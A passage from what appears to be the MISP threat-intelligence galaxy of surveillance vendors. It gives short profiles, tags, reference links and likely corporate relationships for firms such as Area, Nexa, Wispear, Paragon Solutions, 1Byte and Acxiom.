https://www.spiegel.de/international/business/the-predator-files-european-spyware-consortium-supplied-despots-and-dictators-a-2fd8043f-c5c1-4b05-b5a6-e8f8b9949978
https://blog.google/threat-analysis-group/0-days-exploited-by-commercial-surveillance-vendor-in-egypt/

Merlinx / Equus Technologies

Merlinx / Equus Technologies, Israeli firm, a privately held company specializing in the development of tailor made innovative solutions for law enforcement, intelligence agencies, and

national security organizations. Linked to the Android malware, also sells iOS capabilities.

The tag is: *misp-galaxy:surveillance-vendor="Merlinx / Equus Technologies"*

Table 17503. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.vice.com/en/article/evdebz/google-revealed-an-israeli-spyware-company-that-has-quietly-sold-its-wares-for-years

AQSACOM

AQSACOM, French company - lawful interception for IP networks. All Aqsacom's security products can be combined in a powerful solution so that Telecommunications and ISP operators can provide the Authorities with a reliable and professional service.

The tag is: *misp-galaxy:surveillance-vendor="AQSACOM"*

Table 17504. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://aqsacom.com/

Area

Area Spa is a firm based near Milan that sells monitoring systems capable of capturing internet traffic, tapping conversations, and tracking targets through GPS.

The tag is: *misp-galaxy:surveillance-vendor="Area"*

Table 17505. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.vice.com/en/article/gv5knx/italian-cops-raid-surveillance-tech-company-area-spa-selling-spy-gear-to-syria
https://www.area.it/en/

ClearTrail

ClearTrail Technologies, India based company, known for developing or selling systems for monitoring computers, mobile phones and emails of unsuspecting masses.

The tag is: *misp-galaxy:surveillance-vendor="ClearTrail"*

Table 17506. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.clear-trail.com/about-us/
https://www.business-standard.com/article/companies/the-two-men-behind-india-s-secret-surveillance-industry-111120300053_1.html

Elaman

Elaman is a German company that sell a wide array of surveillance technologies. From vast monitoring centres capable of monitoring thousands of conversations simultaneously to trojans that target individual's devices specifically. They don't create these products, they resell from other surveillance companies. They have sold products from VASTech, Gamma, Utimaco and Nokia Siemens Networks. This catalogue gives an insight into one of the surveillance industries biggest middle man.

The tag is: *misp-galaxy:surveillance-vendor="Elaman"*

Table 17507. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.elaman.de/
https://privacyinternational.org/blog/1540/elaman-and-gamma-whats-selling-and-whos-buying-indonesia

Gita Technologies

Gita Technologies, Israeli based company with a mission to be a worldwide leader in research and development of high-end security systems and SIGINT.

The tag is: *misp-galaxy:surveillance-vendor="Gita Technologies"*

Table 17508. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://gitatechnologies.com/

Innova

Innova, based in Trieste, Italy, and a frequent supplier of Italian prosecutor's offices. It was the only Italian firm at the International Exhibition for National Security and Resilience (ISNR), which was held in Abu Dhabi in October 2022. The exhibition connects regional government agencies with manufacturers from around the world, and was organised in cooperation with the Ministry of the Interior and in strategic partnership with Abu Dhabi Police GHQ. The United Arab Emirates, however, is known for human rights violations, some of which facilitated by the use of digital surveillance technology, as in the case of an iPhone spyware that was used against hundreds of activists, foreign leaders and suspected terrorists, according to Reuters. Innova's foreign presence did not stop at ISNR. The company was also at ISS World Latin America, which took place in Panama in October 2022, and was among the sponsors of the September event of ISS World Asia Pacific 2022 in Singapore. These trade shows are not mere opportunities for display, but allow direct contact with members of intelligence agencies from various countries, law enforcement officials and government leaders or ministers.

The tag is: *misp-galaxy:surveillance-vendor="Innova"*

Table 17509. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://irpimedia.irpi.eu/en-italian-spyware-on-the-international-market/

Jenovice

Jenovice, an Israeli firm that flies under the radar has invented a remotely-operated WiFi interception device that can facilitate spy missions. Jenovice Cyber Labs' Piranha exploits vulnerabilities in WiFi networks to connect an attacker to as many as 50 targeted devices at once.

The tag is: *misp-galaxy:surveillance-vendor="Jenovice"*

Table 17510. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://cyberscoop.com/jenovice-cyber-labs-metropolink-city-wide-surveillance/
https://www.jenovice.com/

Lumacron

Lumacron, a British startup which is developing interception tools to capture the massive data flows that transit through the principal international communications networks.

The tag is: *misp-galaxy:surveillance-vendor="Lumacron"*

Table 17511. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.intelligenceonline.com/surveillance—interception/2018/06/19/lumacron-extends-interception-to-undersea-cables,108314081-art

NeoSoft

NeoSoft AG, Switzerland manufacturer of Passive, Active (Semi-Active), Hybrid GSM Monitoring systems with A5.2/A5.1 deciphering, CDMA Passive Monitoring systems, IMSI/IMEI Catchers 2G/3G, InPoint SMS System (sends SMS to everybody). All NeoSoft systems support the following bands: GSM, PCS, EGSM, 2100, 850. NeoSoft has world-wide experience.

The tag is: *misp-galaxy:surveillance-vendor="NeoSoft"*

Table 17512. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.burojansen.nl/pdf/ISSWorldEuropejune2011sponsorsfromwebsite.pdf
https://riskybiznews.substack.com/p/risky-biz-news-australia-passes-new
https://www.neosoft.ch/

Nexa

Nexa Technologies was indicted for complicity in acts of torture, the French firm is accused of having sold surveillance equipment to the Egypt.

The tag is: *misp-galaxy:surveillance-vendor="Nexa"*

Nexa is also known as:

- Nexa Technologies

View relationships graph

Nexa has relationships with:

- is-allied-with: misp-galaxy:surveillance-vendor="Senpai" with estimative-language:likelihood-probability="likely"
- is-allied-with: misp-galaxy:surveillance-vendor="Cytrox" with estimative-language:likelihood-probability="likely"
- is-allied-with: misp-galaxy:surveillance-vendor="Wispear" with estimative-language:likelihood-probability="likely"

- part-of: misp-galaxy:surveillance-vendor="Intellexa" with estimative-language:likelihood-probability="likely"

Table 17513. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://securityaffairs.com/125083/intelligence/nexa-technologies-indicted.html
https://wearenexa.com/aboutus/

Norsi-Trans

Norsi-Trans produces SIGINT and lawful interception equipment and software for the Russian government and also sells an OSINT platform called Vitok-ROI (or Vitok-OSINT).

The tag is: *misp-galaxy:surveillance-vendor="Norsi-Trans"*

Table 17514. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://keyfindings.blog/2020/03/23/be-careful-what-you-osint-with/
https://norsi-trans.com/

Polaris Wireless

Polaris Wireless, US based company that specializes in the development of wireless surveillance products.

The tag is: *misp-galaxy:surveillance-vendor="Polaris Wireless"*

Table 17515. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.zdnet.com/google-amp/article/polaris-wireless-secures-contract-in-surveillance-tracking-software/

Pro4Tech

Pro4Tech, Tel Aviv/Israel based company which provides tactical surveillance systems designed by field-professionals for law-enforcement and government agencies.

The tag is: *misp-galaxy:surveillance-vendor="Pro4Tech"*

Table 17516. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.israeldefense.co.il/en/content/israeli-companies-milopol-pro4tech

Rayzone

Rayzone, Israeli cyber intelligence company. The surveillance software makes it possible, among other things, to locate a person's location and path of movement with an accuracy of one meter and makes it possible to receive additional information from the applications on the target's device.

The tag is: *misp-galaxy:surveillance-vendor="Rayzone"*

Table 17517. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.haaretz.com/israel-news/tech-news/2020-12-17/ty-article/israeli-spy-tech-firm-tracked-mobile-users-around-the-world-investigation-suggests/0000017f-e76b-da9b-a1ff-ef6f847c0000

Seartech

Seartech is a South African company specializing in the design and manufacture of tactical surveillance equipment.

The tag is: *misp-galaxy:surveillance-vendor="Seartech"*

Table 17518. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.seartech.co.za/

Securcube

Securcube s.r.l is an Italian company that specializes in services and products for the Digital Forensics..

The tag is: *misp-galaxy:surveillance-vendor="Securcube"*

Table 17519. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://securcube.net/

Septier

Septier Communication Ltd, with global headquarters in Israel and offices across several continentshas dozens of installations serving telecommunication operators and law-enforcement agencies and organizations throughout the world. Septier develops and markets comprehensive lawful interception systems which include cutting-edge monitor centers and passive front ends based on high capacity signaling monitoring probes.

The tag is: *misp-galaxy:surveillance-vendor="Septier"*

Table 17520. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.israeldefense.co.il/company/septier-communication-ltd

Cy4gate

Cy4gate, Italian based company, sells its products worldwide, including to dictatorships, while competing with companies involved in scandals related to repression of opponents and journalists.

The tag is: *misp-galaxy:surveillance-vendor="Cy4gate"*

Table 17521. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://irpimedia.irpi.eu/en-surveillances-cy4gate/
https://www.vice.com/en/article/m7awav/prosecutors-suspend-cy4gate-government-spyware-used-in-whatsapp-phishing-attacks

Toka

Toka, Israeli based company, which offers its police, government and intelligence clients the ability to obtain targeted intelligence and conduct forensic investigations as well as covert operations. In addition, Toka offers governments its Cyber Designers service, which provides agencies with the full-spectrum strategies, customized projects, and technologies needed to ensure the security and sustainability of critical infrastructure, the digital landscape, and government institutions.

The tag is: *misp-galaxy:surveillance-vendor="Toka"*

Table 17522. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.haaretz.com/israel-news/security-aviation/2022-12-26/ty-article-magazine/.premium/this-dystopian-cyber-firm-could-have-saved-mossad-assassins-from-exposure/00000185-0bc6-d26d-a1b7-dbd739100000
https://www.orishas-finance.com/actualite/5310?lang=en

Trovicor

Trovicor, Germany based companies' surveillance technology allegedly used in connection with human rights abuses by authoritarian govts.

The tag is: *misp-galaxy:surveillance-vendor="Trovicor"*

Table 17523. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.business-humanrights.org/en/latest-news/response-by-trovicor-german-companies-surveillance-technology-allegedly-used-in-connection-with-human-rights-abuses-by-authoritarian-govts/
https://trovicor.com/

Utimaco

Utimaco, Aachen/Germany based company which praises itself as market leader in eavesdropping technology.

The tag is: *misp-galaxy:surveillance-vendor="Utimaco"*

Table 17524. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://digit.site36.net/2022/03/07/utimaco-german-wiretapping-technology-could-strengthen-junta-in-myanmar/

Wintego

Wintego Systems develops advanced communication, intelligence, and data-decoding solutions for the government and homeland security sectors.

The tag is: *misp-galaxy:surveillance-vendor="Wintego"*

Table 17525. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.forbes.com/sites/thomasbrewster/2016/09/29/wintego-whatsapp-encryption-surveillance-exploits/?sh=53f93cd1aa95

Wispear

Wispear Systems Ltd (renamed Passitoria Ltd), provides interception equipment designed for the extraction of voice or data, transmitted over the air interface.

The tag is: *misp-galaxy:surveillance-vendor="Wispear"*

View relationships graph

Wispear has relationships with:

- acquires: misp-galaxy:surveillance-vendor="Cytrox" with estimative-language:likelihood-probability="likely"
- is-allied-with : misp-galaxy:surveillance-vendor="Cytrox" with estimative-language:likelihood-probability="likely"
- is-allied-with : misp-galaxy:surveillance-vendor="Nexa" with estimative-language:likelihood-probability="likely"
- is-allied-with : misp-galaxy:surveillance-vendor="Senpai" with estimative-language:likelihood-probability="likely"
- part-of: misp-galaxy:surveillance-vendor="Intellexa" with estimative-language:likelihood-probability="likely"

Table 17526. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://in-cyprus.philenews.com/local/surveillance-software-has-been-exported-from-cyprus/

DarkMatter

DarkMatter founded in the United Arab Emirates (UAE) was under investigation by the FBI for crimes including digital espionage services, involvement in the Jamal Khashoggi assassination, and incarceration of foreign dissidents.

The tag is: *misp-galaxy:surveillance-vendor="DarkMatter"*

Table 17527. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://en.wikipedia.org/wiki/DarkMatter_Group

Lench

Lench IT Solutions, Germany based company. Lench IT Solutions plc has a UK-based branch, Gamma International Ltd in Andover, England, and a Germany-based branch, Gamma International GmbH in Munich. FinFisher, also known as FinSpy, is surveillance software marketed by Lench IT Solutions plc.

The tag is: *misp-galaxy:surveillance-vendor="Lench"*

Table 17528. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://en.wikipedia.org/wiki/FinFisher

GR Sistemi

GR Sistemi, Italian firm that's been trying to enter the crowded market of government spyware, also known by insiders as lawful interception.

The tag is: *misp-galaxy:surveillance-vendor="GR Sistemi"*

Table 17529. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.vice.com/en/article/kbyg7a/government-spyware-maker-doxes-itself-by-linking-to-its-site-in-malware-code

SS8

SS8, US based company is selling to a range of US government agencies as well as exporting surveillance equipment abroad. SS8 were also reportedly responsible for selling intrusion systems to the United Arab Emirates.

The tag is: *misp-galaxy:surveillance-vendor="SS8"*

Table 17530. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://privacyinternational.org/sites/default/files/2017-12/global_surveillance_0.pdf

Wolf Intelligence

Wolf Intelligence a Germany-based spyware company that made headlines for sending a bodyguard to Mauritania and prompting an international incident after the local government detained the bodyguard as collateral for a deal went wrong, left a trove of its own data exposed online.

The tag is: *misp-galaxy:surveillance-vendor="Wolf Intelligence"*

Table 17531. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.vice.com/en/article/vbka8b/wolf-intelligence-leak-customer-victim-data-online
https://www.vice.com/en/article/wxq85w/scam-spyware-vendor-gets-caught-once-again

Vervata

Vervata, Thailand-based software company, which among other, provides mobile monitoring applications that secretly records all activity on a phone.

The tag is: *misp-galaxy:surveillance-vendor="Vervata"*

Table 17532. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.gmanetwork.com/news/topstories/nation/3072/new-program-snoops-on-cell-phones/story/

https://www.forbes.com/sites/thomasbrewster/2017/02/16/government-iphone-android-spyware-is-the-same-as-seedy-spouseware/?sh=3a06dacb455c

Raxir

Raxir, Italy based surveillance firm that is housed in Naples, in a tech startup incubator. According to the company's page on the incubator's website, Raxir was founded in 2013 and produces software systems to support legal and intelligence investigations.

The tag is: *misp-galaxy:surveillance-vendor="Raxir"*

Table 17533. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.vice.com/en/article/9a3g4e/malware-hunters-catch-new-android-spyware-raxir

Senpai

Senpai Technologies is a company specializing in OSINT and persona creation based out of Israel, while WiSpear, also based in Israel, specializes in Wi-Fi interception.

The tag is: *misp-galaxy:surveillance-vendor="Senpai"*

Senpai is also known as:

- Senpai Technologies

View relationships graph

Senpai has relationships with:

- part-of: misp-galaxy:surveillance-vendor="Intellexa" with estimative-language:likelihood-probability="likely"
- is-allied-with: misp-galaxy:surveillance-vendor="Cytrox" with estimative-language:likelihood-probability="likely"
- is-allied-with: misp-galaxy:surveillance-vendor="Wispear" with estimative-language:likelihood-probability="likely"
- is-allied-with: misp-galaxy:surveillance-vendor="Nexa" with estimative-language:likelihood-probability="likely"

Table 17534. Table References

Links
https://blog.talosintelligence.com/intellexa-and-cytrox-intel-agency-grade-spyware/

I-Soon

I-Soon (also known as Anxun Information Technology Co., Ltd.) is a Chinese cybersecurity firm that has garnered significant attention due to its alleged involvement in state-sponsored cyber espionage activities.

The tag is: *misp-galaxy:surveillance-vendor="I-Soon"*

I-Soon is also known as:

- Anxun Information Technology Co., Ltd.

View relationships graph

I-Soon has relationships with:

- related-to: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

Table 17535. Table References

Links
https://www.welivesecurity.com/en/eset-research/operation-fishmedley/
https://harfanglab.io/insidethelab/isoon-leak-analysis/
https://github.com/I-S00N/I-S00N

Paragon Solutions

Paragon Solutions Ltd. was established in Israel in 2019. The founders of Paragon include Ehud Barak, the former Israeli Prime Minister, and Ehud Schneorson, the former commander of Israel's Unit 8200. Paragon sells a spyware product called Graphite, which reportedly provides "access to the instant messaging applications on a device, rather than taking complete control of everything on a phone," like NSO Group's Pegasus spyware.

The tag is: *misp-galaxy:surveillance-vendor="Paragon Solutions"*

Paragon Solutions is also known as:

- Paragon Solutions Ltd
- Paragon

Table 17536. Table References

Links
https://citizenlab.ca/2025/03/a-first-look-at-paragons-proliferating-spyware-operations/

RedLattice

REDLattice is a mission-focused provider of full spectrum cyber capabilities and technology solutions for customers in the U.S. national security, defense and commercial communities. REDLattice helps its customers deliver mission success by rapidly designing, developing, and implementing cutting edge applications and engineering solutions for some of their most complex challenges. The Company's subject matter experts in vulnerability research (VR), reverse engineering (RE), tool development, malware analysis, and advanced operational capabilities help to develop the next generation of cyber tools and solutions to the battlespace.

The tag is: *misp-galaxy:surveillance-vendor="RedLattice"*

View relationships graph

RedLattice has relationships with:

- related-to: misp-galaxy:surveillance-vendor="Paragon Solutions" with estimative-language:likelihood-probability="likely"

1Byte

1Byte is a Vietnam-based company operating a network of spyware apps and generating millions in revenue since at least 2016. One of these apps, TheTruthSpy, can discreetly upload your call logs, text messages, photos, browsing history, and real-time location data. 1Byte used fake American identities, forged passports, and manipulated financial systems to evade detection and process payments. A TechCrunch article found that it is actively facilitating the secret surveillance of hundreds of thousands of Android users around the world. TechCrunch also identified at least least nine known near-identical spyware apps in TheTruthSpy's network: Copy9, MxSpy, iSpyoo, SecondClone, TheSpyApp, ExactSpy, GuestSpy and FoneTracker, all of which operate just like TheTruthSpy but under different names.

The tag is: *misp-galaxy:surveillance-vendor="1Byte"*

Table 17537. Table References

Links
https://techcrunch.com/2022/10/26/inside-thetruthspy-stalkerware/
https://techcrunch.com/thetruthspy-investigation/
https://readwrite.com/thetruthspy-the-stalkerware-that-made-millions/
https://techcrunch.com/2024/02/12/new-thetruthspy-stalkerware-victims-is-your-android-device-compromised/
https://techcrunch.com/2022/02/22/stalkerware-network-spilling-data/
https://techcrunch.com/2023/07/20/thetruthspy-stalkerware-forged-passports-millions/
https://techcrunch.com/2025/08/25/a-new-security-flaw-in-thetruthspy-phone-spyware-is-putting-victims-at-risk/

4Intelligence

4Intelligence AB is a manufacturer and provider of surveillance tools, produced primarily for intelligence agencies, law enforcement authorities, military units, and private security companies.

Their IMSI/IMEI catchers are designed to collect essential identifiers, such as IMSI (International Mobile Subscriber Identity) and IMEI (International Mobile Equipment Identity), from cellular devices operating on GSM, UMTS, LTE, and 5G networks. These systems are utilized for intelligence gathering and monitoring within the operational radius of the devices. In addition to IMSI catchers, the company offers a range of products, including RF detectors, WiFi monitoring, camouflaged video transmitters and recorders, vehicle geolocation systems, location based tracking and other interception technologies.

In addition to Sweden, the company also has offices in Cyprus and Dubai, UAE.

The tag is: *misp-galaxy:surveillance-vendor="4Intelligence"*

Table 17538. Table References

Links
https://4intelligence.com/product-category/technical-surveillance/cellular-monitoring-systems/
https://4intelligence.com/product/int-cm014-int-cm015-int-cm016-2g-jg-4g-5g-imsi-imei-catchers/
https://www.businessresearchinsights.com/market-reports/imsi-catcher-market-106084

Aarogya Setu

Aarogya Setu is a mobile application developed by the Government of India in April 2020 to perform COVID-19 contact tracing. It pairs Bluetooth handshakes with periodic GPS pings to flag when users have been near someone who later tests positive, then offers risk scores and health guidance. Since the pandemic, the platform has been folded into the National Health App stack, adding vaccination certificates and other digital health services.

The app embeds far-reaching surveillance capabilities. On sign-up, it demands granular personal data, such as name, phone number, age, sex, profession, travel and even smoking history, which are transmitted to a central government server. Continuous collection of live location and proximity logs lets authorities recreate a user's movements and social graph, described by critics as a sophisticated surveillance system.

The tag is: *misp-galaxy:surveillance-vendor="Aarogya Setu"*

Table 17539. Table References

Links
https://www.india.com/news/india/sophisticated-surveillance-system-rahul-gandhi-raises-concerns-over-aarogya-setu-app-4017747/
https://techcrunch.com/2020/05/05/aarogya-setu-app-security-privacy-concerns-india-response/

https://www.cbsnews.com/news/coronavirus-india-contact-tracing-app-privacy-data-security-concerns-aarogya-setu-forced-on-millions/
https://www.theguardian.com/world/2020/may/04/how-safe-is-it-really-privacy-fears-over-india-coronavirus-app
https://www.codastory.com/surveillance-and-control/india-coronavirus-surveillance/
https://www.livemint.com/industry/infotech/why-privacy-advocates-have-concerns-over-aarogya-setu-app-11588509094177.html
https://www.rfi.fr/en/international/20200508-compulsory-phone-app-raises-fears-of-india-s-flight-towards-super-surveillance-state
https://scroll.in/article/961641/no-covid-19-silver-bullet-aarogya-setu-endangers-indias-privacy-and-its-usefulness-is-uncertain
https://www.cnbctv18.com/technology/xiaomi-will-pre-install-aarogya-setu-app-on-new-devices-if-govt-orders-says-manu-jain-5843991.htm

AASMA

The Advanced Application for Social Media Analytics (AASMA) is a social media surveillance tool developed by the Indraprastha Institute of Information Technology, Delhi, with funding from the Indian government. It is utilized by at least 40 government departments in India. AASMA can collect and analyze live data from platforms like Twitter, Facebook, and YouTube, perform sentiment analysis, track user locations and devices, and send alerts to authorities based on predefined criteria. It is employed for purposes such as monitoring public sentiment, handling protests, and identifying influential users.

The tag is: *misp-galaxy:surveillance-vendor="AASMA"*

Table 17540. Table References

Links
https://scroll.in/article/893015/40-government-departments-are-using-a-social-media-surveillance-tool-and-little-is-known-of-it
https://www.giga-hamburg.de/en/publications/giga-focus/digital-surveillance-and-the-threat-to-civil-liberties-in-india
https://www.medianama.com/2018/09/223-40-government-departments-are-using-a-social-media-surveillance-tool-scroll-in-2/
https://www.logicallyfacts.com/en/fact-check/true-the-government-is-monitoring-our-mobile-exchanges
https://www.business-standard.com/article/economy-policy/from-new-delhi-to-patna-govt-is-watching-your-social-media-from-61-places-118122700271_1.html

Ability, Inc

Ability is a security firm based in Tel Aviv. The company develops and provides interception and

decryption communication tools to security and intelligence agencies, military forces, police and homeland security services.

Its surveillance capabilities include both passive and active interception of cellular communications across GSM, CDMA, UMTS, and LTE networks, as well as satellite communication interception for systems like Thuraya, Iridium, and VSAT. Ability also offers decryption tools to break encrypted communications and geolocation technologies for tracking cellular devices, and developed the Crosscan system, a portable IMSI catcher for tracking mobile devices. Its operations span across 50 countries worldwide.

Ability cooperated with NSO Group on Pegasus and handled the network side of NSO's operations.

```
In 2015, it merged with Cambridge Capital Acquisition Corporation (aka Cambridge.)
```

The tag is: *misp-galaxy:surveillance-vendor="Ability, Inc"*

Table 17541. Table References

Links
https://investigate.afsc.org/company/ability
https://www.forbes.com/sites/thomasbrewster/2017/09/27/ability-inc-ss7-hackers-fail-to-sell-surveillance/?sh=14f5c2bd734c
https://www.europarl.europa.eu/doceo/document/A-9-2023-0189_EN.html
https://cyberscoop.com/ability-inc-spyware-sec-arrests/
https://www.businesswire.com/news/home/20150908005579/en/Cambridge-Capital-Acquisition-Corporation-to-Merge-with-Ability-Computers-Software-Industries-Ltd
https://www.singapore-samizdat.com/p/a-timeline-of-singapore-and-spyware

AccessData

AccessData Group was a U.S.-based cybersecurity company that developed digital forensics investigation technology. The company created the Forensic Toolkit (FTK), which became an industry-standard tool for extracting and analyzing data from digital devices. The technology was used by law enforcement agencies worldwide, including in Nigeria, where it was employed alongside other forensic tools for extracting information from seized devices.

AccessData's merger with Exterro created a powerful surveillance conglomerate. Their combined digital forensics and data extraction capabilities give law enforcement and government agencies unprecedented access to personal information, particularly given the company's two-decade history of developing tools that can crack passwords, decrypt files, and extract sensitive personal data from devices without user consent.

AccessData's Forensic Toolkit (FTK) was also used by Botswana's Police Service Digital Forensics Laboratory alongside Cellebrite's UFED to conduct invasive searches of journalists' devices. The technology was deployed in the case of Oratile Dikologang, a digital editor, where police "successfully extracted" and "thoroughly analyzed" thousands of messages, contacts, images, audio

files, videos, and social media accounts from his phone. When contacted by the Committee to Protect Journalists (CPJ) about this surveillance activity, AccessData and its parent company Exterro declined to respond to questions about their technology's use in Botswana's press freedom violations.

The tag is: *misp-galaxy:surveillance-vendor="AccessData"*

Table 17542. Table References

Links
https://cpj.org/2019/10/nigerian-military-target-journalists-phones-forensic-search/
https://cpj.org/2021/05/equipped-us-israeli-firms-botswana-police/
https://www.exterro.com/resources/blog/exterro-acquires-digital-forensics-firm-accessdata

Actuate

Actuate develops AI-powered surveillance tools that turn existing security cameras into "smart detection systems." Its platform analyzes video feeds in real time to spot specific incidents, then alerts security staff or local authorities. In its "New Police Technology 2025" blog, Actuate promoted its products as a way for police to perform smarter policing and surveillance via AI analytics.

The tag is: *misp-galaxy:surveillance-vendor="Actuate"*

Table 17543. Table References

Links
https://actuate.ai/security-resources/new-police-technology-2025-the-future-of-law-enforcement/
https://www.prnewswire.com/news-releases/actuate-secures-11-5-million-in-funding-to-advance-ai-powered-remote-video-guarding-solutions-302221431.html
https://aws.amazon.com/blogs/containers/actuate-uses-aws-fargate-for-ml-based-real-time-video-monitoring-and-threat-detection/

Acxiom

Acxiom is a data broker and marketing technology company headquartered in Conway, Arkansas. Known for its extensive data collection and analytics capabilities, Acxiom aggregates and processes vast amounts of personal information, including demographic details, purchasing behavior, online activity, real-time location, and more. This data is used to create detailed consumer profiles, which are then sold to a wide range of clients, including advertisers, marketers, financial institutions, government agencies and political organizations. In the U.S, the company has held contracts with the Central Intelligence Agency (CIA), the State Department and other federal government agencies.

In 2014, Acxiom acquired LiveRamp, integrating its services to enable cross-device tracking and data onboarding, which helps connect online and offline consumer data. This partnership allows Acxiom to extend its data reach, offering even more granular insights into consumer behavior and location data to a broader range of clients. In 2018, Acxiom claimed to have data on over 2.5 billion people in over 62 countries, including 68% of the global online population.

The tag is: *misp-galaxy:surveillance-vendor="Acxiom"*

Table 17544. Table References

Links
https://www.wired.com/story/opinion-data-brokers-know-where-you-are-and-want-to-sell-that-intel/
https://www.computerworld.com/article/1695844/acxiom-pitched-feds-on-large-scale-web-surveillance-project.html
https://theweek.com/articles/474509/acxiom-corp-faceless-organization-that-knows-everything-about
https://www.aclu.org/news/privacy-technology/data-brokers-release-information-about-their-operations [https://www.aclu.org/news/privacy-technology/data-brokers-release-information-about-their-operations]
https://www.sbs.com.au/news/the-feed/article/the-brave-new-world-of-surveillance-capitalism/vfo47kbab
https://www.acxiom.com/news/acxiom-launches-global-data-navigator-tool-offering-marketers-visibility-into-global-audiences/
https://money.cnn.com/magazines/fortune/fortune_archive/2004/02/23/362182/index.htm
https://www.nwaonline.com/news/2015/nov/22/acxiom-data-called-suited-for-terrorist/

ADF Solutions

ADF Solutions is a provider of digital forensic and surveillance technologies designed for law enforcement, intelligence, and investigative agencies. Its tools collect, analyze, and manage digital data forcibly extracted from computers, mobile devices, and other digital media.

The company collaborates extensively with police and government agencies worldwide and helps integrate its tools, like the Digital Evidence Investigator and Mobile Device Investigator, into their systems.

The tag is: *misp-galaxy:surveillance-vendor="ADF Solutions"*

Table 17545. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://www.theweek.in/news/biz-tech/2022/02/17/pelorus-technologies-collaborates-with-adf-solutions-to-support-.html
https://www.adfsolutions.com/adf-blog/the-role-of-digital-forensic-software-in-public-safety-helping-first-responders-and-law-enforcement-keep-communities-safe

Aegis

Aegis is one of the products offered by Semptian, a Chinese company, designed to be installed inside phone and internet networks. It is used to secretly collect people's email records, phone calls, messages, geolocation data, and web browsing histories.

The tag is: *misp-galaxy:surveillance-vendor="Aegis"*

Table 17546. Table References

Links
https://apjjf.org/2019/15/gallagher
https://www.fairplanet.org/editors-pick/u-s-tech-giants-collaborate-with-chinese-surveillance-company/

AeroVironment

AeroVironment builds lightweight, hand or tube-launched uncrewed aircraft such as the Raven, Puma and JUMP 20 and equips them with miniature multi-sensor gimbals that stream real-time daylight, infrared and mapping data for surveillance purposes. The company's Nano Hummingbird is a palm-sized surveillance drone that mimics the appearance and flight of a real hummingbird.

The U.S. Border Patrol operates the Puma 3 AE to surveil remote stretches of the southwest border. More than 50 governments around the world have adopted drones built and customized by AeroVironment for intelligence gathering and surveillance.

The tag is: *misp-galaxy:surveillance-vendor="AeroVironment"*

Table 17547. Table References

Links
https://www.avinc.com/resources/press-releases/view/aerovironment-receives-5.25-million-puma-3-ae-contract-for-u.s.-border-patr
https://www.realcleardefense.com/2024/10/29/taiwan_moves_to_buy_1000_aerovironment_anduril_attack_drones_1068343.html
https://www.thebarentsobserver.com/borders/finnish-border-guard-deploys-surveillance-drones-norway-not/121926
https://spectrum.ieee.org/aerovironments-nano-hummingbird-surveillance-bot-would-probably-fool-you
https://www.militaryaerospace.com/uncrewed/article/14224086/unmanned-hand-launched-surveillance

